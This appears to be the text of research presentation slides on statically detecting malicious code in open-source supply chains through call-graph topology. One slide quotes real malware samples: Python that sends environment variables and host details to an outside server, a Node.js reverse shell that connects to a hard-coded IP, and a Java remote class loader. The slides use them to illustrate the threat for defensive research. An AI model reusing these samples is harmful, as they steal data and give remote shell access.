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Software Supply-Chain (SSC) Attacks

• Open-Source Components (OSCs): 
make up 70-90% of the code of 
modern software applications [1].

• A widespread risk:
• vulnerabilities;

• venue for dissemination of malicious 
code.

• The number of malicious OSCs has 
been on the rise in the last decade.
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Open-Source Ecosystems: Attack Surface*

Contributors

Build System

Build Job

VCS Distribution Platfom 

Project Maintainers

REVIEW PUSH REQUESTS
CONFIGURE AND 
TRIGGER BUILDS

MANAGE ACCOUNT

PUBLISH PACKAGE

CLONE
PULL DEPENDENCY

INSTALL PRE-BUILT 
PACKAGES

CLONE AND 
BUILD

System Adm. System Adm. System Adm.

CREATE PUSH 
REQUESTS

Downstream Users
(applications, execution and 
development environments)

*adapted from [3]

4



Attack Tree of Open-Source SSC Attacks*
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Security Mechanisms for OSC Supply-Chains*

• Software Bills of Materials (SBOMs)

• Software Composition Analysis (SCA) and Dependency Reduction

• Improved Authentication, Authorization and Intrusion Detection for 
package and code repositories

• Reproducible Builds, authenticity/attestation tools for build systems 
and artifacts

• Application Security Tests (AST): static and/or dynamic techniques for 
detecting malicious code associated with SSC attacks

• Dependency-level Isolation and Access Control
*extracted from [3-5]
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Threat Model and The Kinds of Malicious Code at Issue

• We consider attackers aiming to maximize the number of infected 
applications – therefore, not interested in directed attacks.
• Regardless of attack vector.

• Malicious code thus cannot rely on application-specific components 
or behaviors (and is explicitly malicious, we assume).
• Backdoors, droppers, exfiltrators, reverse shells – goal is to invade networks, 

steal data, deploy other malware.

• Small excerpts relying (mostly directly) on security-critical methods 
from default APIs.
• Network access, file system, scripting, system config., dynamic manipulation.
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Malicious Code at Issue: Examples*
URLClassLoader loader = (URLClassLoader) ClassLoader.

  getSystemClassLoader();

Class urlCLClass = URLClassLoader.class;

URL url = null;

try{

 url = new URL("...");

 Method m = urlCLClass.getDeclaredMethod(

    "addURL",new Class[]{URL.class});

 m.setAccessible(true);

 m.invoke(loader, new Object[]{url});

 Class.forName("...", true, loader);

} catch (Exception e) {

 e.printStackTrace();

}

info = socket.gethostname()+' mumpy ‘+

 ’'.join(['%s=%s' % (k,v) for (k,v) in os.environ.items()])+''

info += [(s.connect(('8.8.8.8', 53)), s.getsockname()[0], 

s.close()) for s in [socket.socket(socket.AF_INET, 

socket.SOCK_DGRAM)]][0][1]

posty = "paste="

for i in xrange(0,len(info)):

  if info[i].isalnum():

    posty += info[i]

  else:

    posty += ("%%%02X" % ord(info[i]))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("packageman.comlu.com", 80))

s.send("POST / HTTP/1.1\r\n"+

  "User-Agent: Python\r\n"+

  "Host: packageman.comlu.com\r\n"+

  "Content-Type: application/x-www-form-urlencoded\r\n"+

  "Content-Length: "+str(len(posty))+"\r\n\r\n"+posty)

s.recv(2048)

function c() {

  var client = new net.Socket();

  client.connect(443, "95.213.253.26",

    function() {

      var sh = spawn('/bin/sh', []);

      client.write("Connected\r\n");

      client.pipe(sh.stdin);

      sh.stdout.pipe(client);});

  client.on('error', function() {});

  client.on('close', function() {setTimeout(c, 5000);});

}

require('daemon')();

c();*all extracted from [6]
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Static Detection of Topological Anomalies

• The components that form a program, and the dependency relations 
between them, provide a high-level outlook of its control and data-
flow characteristics.

• Normal connections of security-critical methods to the parts, and 
between such methods through the parts, are associated with typical 
features of the parts and of the relations between them.
• Malicious code inserted into a part can represent a topological anomaly.

• Evading detection implies modifying high-level topological character-
ristics of programs → cost of SSC attacks is increased.
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• Each method can be mapped to a namespace and a group of name-
spaces, forming two additional layers above the call graph.

• Junction trees (and junctions, their roots) represent, 
in a call graph, the closest connections between 
security-critical methods from different categories. 

• Possible connection categories: 
J0/J1/J2/J+/NJ.

• The presence of non-malicious 
connections are associated 
with topological features.

Junction Trees and Three Layers of Representation
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The PDG (Package Dependency Graph) and PGDG (Package Group Dependency Graph) 
represent the additional layers above the CG (Call Graph), considering “package” as a 
synonym for namespace (in Java, the initial focus of our study).

Red vertices: security-critical 
methods; purple vertices: junctions.



Topological Features

a) Incidence, Dispersion, 
Internal Connectivity; 

b) Tree Connectivity;

c) Pair-Wise Connectivity;

d) Signature Sequences.
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Experimental Evaluation

We implemented* our technique partially, and performed a synthetic evaluation of 
its detection efficacy for the J0/J1/J2 classes of junctions.
• Java was chosen as the initial focus due to its relevance in enterprise environments.

• The Xcorpus dataset [7] was used to extract the minimal incidence values (𝜃𝐼
(1)

,𝜃𝑅
(1)

,𝜃𝐼
(2)

,𝜃𝑅
(2)

).

• The analysis ran in appr. 120 minutes on a PC with an Intel 11800H CPU and 32GB of RAM, 
running Ubuntu 22.04 and Java HotSpot version 1.8.0-371.

• Efficacy was analyzed considering different contamination ratios of the Xcorpus dataset [7] with 
the typical malicious excerpts found in [6] – and very promising results were obtained!

12*code available at: https://github.com/ozpaiva/static-topol-analysis.



Future Work

• We intend to implement the technique in its entirety, and evaluate 
its detection efficacy and performance with a dataset containing 
more recent versions of Java programs.

• The usage of more powerful static analysis methods is also planned.
• The heavy reliance on dynamic manipulation features found in some types of 

Java applications makes static analysis difficult.

• We also plan to investigate:
• More robust techniques for clustering programs parts;

• Adversarial Machine Learning [8] aspects that may affect the training and 
inference processes of our technique.
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